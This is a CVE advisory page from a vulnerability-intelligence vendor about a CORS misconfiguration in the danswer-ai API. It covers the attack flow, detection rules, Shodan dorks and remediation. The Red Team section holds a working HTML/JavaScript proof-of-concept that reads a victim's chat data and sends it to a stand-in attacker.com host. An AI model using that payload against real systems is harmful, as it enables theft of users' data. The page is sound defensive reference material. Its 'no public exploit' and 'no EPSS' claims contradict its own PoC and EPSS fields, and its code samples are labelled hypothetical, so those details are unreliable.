☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N 🐛 CWE-942
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-7819

CVE-2024-7819 Supply Chain Attack in Danswer-ai
📅 PUBLISHED: 2025-03-20 10:09 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-7819 is a Cross-Origin Resource Sharing (CORS) misconfiguration vulnerability in danswer-ai/danswer v1.4.1. The application fails to properly validate the Origin header, allowing any malicious web page to make unauthorized cross-origin requests to the Danswer API. This enables attackers to steal sensitive information such as chat contents, API keys, and other data. The vulnerability has a CVSS score of 7.4 (High) and is currently unpatched. No EPSS score or public exploit code has been observed, but the attack vector is straightforward and requires only user interaction (e.g., visiting a malicious site).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Python package danswer-ai (PyPI). Organizations using this package should immediately review their deployment for CORS misconfigurations and consider implementing strict origin validation or using a reverse proxy to enforce CORS policies.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.4 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must visit malicious page)
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: None
  • Availability Impact: None

Deep Dive & Mechanics

The vulnerability stems from improper validation of the Origin header in the Danswer API. When a web application receives a cross-origin request, it should check the Origin header against a whitelist of allowed origins. In Danswer v1.4.1, the server either reflects the Origin header in the Access-Control-Allow-Origin response header without validation or uses a wildcard (*), allowing any domain to make requests.

Attack Flow:

  1. Attacker hosts a malicious webpage on evil.com.
  2. Victim (authenticated to Danswer) visits evil.com.
  3. The malicious page makes an XMLHttpRequest or fetch to https://danswer-instance.com/api/chat or similar endpoints.
  4. The browser sends the request with the victim's cookies (if credentials: 'include' is used).
  5. The Danswer server responds with Access-Control-Allow-Origin: https://evil.com (or *), allowing the attacker to read the response.
  6. The attacker exfiltrates chat contents, API keys, or other sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (v1.4.1):

# Example of vulnerable CORS configuration
from flask_cors import CORS
app = Flask(__name__)
CORS(app)  # Allows all origins by default

Patched Code (Hypothetical):

# Example of patched CORS configuration
from flask_cors import CORS
app = Flask(__name__)
CORS(app, origins=["https://trusted-domain.com", "https://another-trusted.com"])

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A running Danswer instance (v1.4.1) with a victim user logged in.
  • A malicious webpage hosted on an attacker-controlled domain.

Exploit Steps:

  1. Create a malicious HTML page:
<!DOCTYPE html>
<html>
<head>
    <title>Exploit CVE-2024-7819</title>
</head>
<body>
    <h1>Click me!</h1>
    <script>
        fetch('https://victim-danswer.com/api/chat', {
            credentials: 'include'
        })
        .then(response => response.text())
        .then(data => {
            // Exfiltrate data to attacker server
            new Image().src = 'https://attacker.com/exfil?data=' + encodeURIComponent(data);
        });
    </script>
</body>
</html>
  1. Host the page on attacker.com.
  2. Send the link to the victim (e.g., via phishing email).
  3. When the victim clicks, the script fetches chat data from the Danswer API and sends it to the attacker's server.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unexpected Origin headers in API requests.
  • Look for Access-Control-Allow-Origin headers reflecting untrusted origins.
  • Use browser developer tools to inspect network requests for CORS violations.

Defense:

  • Implement strict origin validation on the server side.
  • Use a reverse proxy (e.g., Nginx) to enforce CORS policies:
location /api/ {
    if ($http_origin ~* (https://trusted\.com|https://another\.com)) {
        add_header Access-Control-Allow-Origin $http_origin;
    }
}
  • Disable CORS entirely if not needed, or use a whitelist.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests with Origin header set to untrusted domains.
    • Responses with Access-Control-Allow-Origin: * or reflecting arbitrary origins.
  • Logs:
    • Server logs showing Origin: https://evil.com in API requests.
    • Browser console errors related to CORS (though these may not appear if the exploit succeeds).
  • File:
    • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_7819_CORS_Misconfig {
    meta:
        description = "Detects CORS misconfiguration in Danswer API responses"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-7819"
    strings:
        $cors_header = "Access-Control-Allow-Origin: *"
        $cors_reflect = /Access-Control-Allow-Origin: https?:\/\/[^"]+/
    condition:
        $cors_header or $cors_reflect
}

Sigma Rule

title: CORS Misconfiguration in Danswer API
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP responses with permissive CORS headers from Danswer API
author: Valters IT
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        response_header|contains: 
            - 'Access-Control-Allow-Origin: *'
            - 'Access-Control-Allow-Origin: http://'
            - 'Access-Control-Allow-Origin: https://'
    condition: selection
falsepositives:
    - Legitimate use of wildcard CORS for public APIs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7819 - CORS Misconfiguration in Danswer API"; flow:to_client; content:"Access-Control-Allow-Origin"; http_header; pcre:"/Access-Control-Allow-Origin:\s*\*/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable CORS if not required for the application.
  2. Implement a strict origin whitelist on the server side.
  3. Use a reverse proxy (e.g., Nginx, Apache) to enforce CORS policies.
  4. Update to the latest version of Danswer if a patch becomes available.

Long-term Fix:

  • The vendor should release a patched version that validates the Origin header against a whitelist.
  • Conduct a security audit of all API endpoints for CORS misconfigurations.

Workaround:

  • If you cannot patch immediately, restrict access to the Danswer API using network-level controls (e.g., firewall rules, VPN).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

danswer-ai
danswer
danswer-ai/api

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-7819/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.